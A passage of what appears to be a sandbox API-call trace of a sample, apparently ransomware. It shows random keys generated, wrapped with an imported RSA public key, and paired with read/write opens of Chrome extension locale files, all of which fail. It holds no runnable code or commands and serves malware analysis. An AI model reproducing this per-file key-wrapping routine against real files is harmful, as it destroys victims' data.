dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.032] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.032] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.035] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0578) returned 1 [0242.035] CryptGetKeyParam (in: hKey=0x66b0578, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.035] CryptEncrypt (in: hKey=0x66b0578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xafe0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xafe0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.035] GetLastError () returned 0x0 [0242.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.035] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.037] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b05b8) returned 1 [0242.037] CryptGetKeyParam (in: hKey=0x66b05b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.037] CryptEncrypt (in: hKey=0x66b05b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xaff0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xaff0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.037] GetLastError () returned 0x0 [0242.037] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.037] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.038] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.041] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.043] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.043] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.043] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.043] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.045] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.047] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.047] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.047] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.048] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.050] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b05f8) returned 1 [0242.050] CryptGetKeyParam (in: hKey=0x66b05f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.050] CryptEncrypt (in: hKey=0x66b05f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb000000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb000000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.050] GetLastError () returned 0x0 [0242.050] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.050] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.052] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0638) returned 1 [0242.052] CryptGetKeyParam (in: hKey=0x66b0638, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.052] CryptEncrypt (in: hKey=0x66b0638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb010000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb010000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.052] GetLastError () returned 0x0 [0242.052] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.052] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.053] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.057] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.057] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.057] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.057] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.064] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.064] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.064] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.064] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.066] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b06f8) returned 1 [0242.066] CryptGetKeyParam (in: hKey=0x66b06f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.066] CryptEncrypt (in: hKey=0x66b06f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb020000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb020000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.066] GetLastError () returned 0x0 [0242.066] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.066] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.068] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b07f8) returned 1 [0242.068] CryptGetKeyParam (in: hKey=0x66b07f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.069] CryptEncrypt (in: hKey=0x66b07f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb030000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb030000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.069] GetLastError () returned 0x0 [0242.069] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.069] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.070] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.073] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.074] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.074] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.074] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.074] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.079] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.079] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.079] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.081] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b07b8) returned 1 [0242.081] CryptGetKeyParam (in: hKey=0x66b07b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.081] CryptEncrypt (in: hKey=0x66b07b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb040000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb040000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.082] GetLastError () returned 0x0 [0242.082] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.082] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.083] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0678) returned 1 [0242.083] CryptGetKeyParam (in: hKey=0x66b0678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.084] CryptEncrypt (in: hKey=0x66b0678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb050000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb050000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.084] GetLastError () returned 0x0 [0242.084] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.084] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.085] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0242.088] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.090] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.090] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.090] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.091] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.098] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.100] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b06b8) returned 1 [0242.100] CryptGetKeyParam (in: hKey=0x66b06b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.100] CryptEncrypt (in: hKey=0x66b06b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb060000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb060000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.100] GetLastError () returned 0x0 [0242.101] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.101] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.103] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0738) returned 1 [0242.103] CryptGetKeyParam (in: hKey=0x66b0738, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.103] CryptEncrypt (in: hKey=0x66b0738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb070000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb070000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.103] GetLastError () returned 0x0 [0242.103] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.104] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.107] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.109] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.109] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.109] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.109] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.116] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.116] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.116] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.116] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.119] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0838) returned 1 [0242.119] CryptGetKeyParam (in: hKey=0x66b0838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.119] CryptEncrypt (in: hKey=0x66b0838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb080000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb080000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.119] GetLastError () returned 0x0 [0242.119] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.119] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0242.121] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0078) returned 1 [0242.121] CryptGetKeyParam (in: hKey=0x66b0078, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.121] CryptEncrypt (in: hKey=0x66b0078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb090000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb090000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.121] GetLastError () returned 0x0 [0242.121] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.121] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.122] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.124] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.126] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0242.126] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.126] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0242.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.130] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0242.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.131] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0242.133] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b00f8) returned 1 [0242.133] CryptGetKeyParam (in: hKey=0x66b00f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.133] CryptEncrypt (in: hKey=0x66b00f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xb0a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0242.133] GetLastError () returned 0x0 [0242.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.133] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0242.135] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x66b0138) returned 1 [0242.135] CryptGetKeyParam (in: hKey=0x66b0138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0242.135] CryptEncrypt (in: hKey=0x66b0138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb0b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xb0b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0242.135] GetLastError () returned 0x0 [0242.135] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0242.135] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.136] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0242.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.151] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.151] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0242.151] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0242.151] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0242.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0242.155] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0242.156] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0242.156] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0242.156] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0242.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66af5f8) returned 